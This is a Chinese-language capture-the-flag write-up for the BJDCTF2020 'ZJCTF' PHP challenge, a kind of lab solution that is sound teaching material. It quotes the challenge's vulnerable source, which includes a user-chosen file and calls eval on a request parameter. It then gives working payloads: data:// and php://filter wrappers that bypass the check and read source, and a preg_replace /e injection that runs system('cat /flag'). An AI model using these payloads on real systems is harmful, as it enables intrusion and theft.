[BJDCTF2020]ZJCTF，不过如此

题目给了源码

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

绕过限制，首先用php://input伪协议或着用data伪协议读取I have a dream，然后用filter伪协议读取next.php

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

获取next.php的源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "
";
}

function getFlag(){
    @eval($_GET['cmd']);
}

preg_replace存在/e的命令执行漏洞  看了一下这篇文章的讲解

构造payload

?S*=${getFlag()}&cmd=system('cat /flag');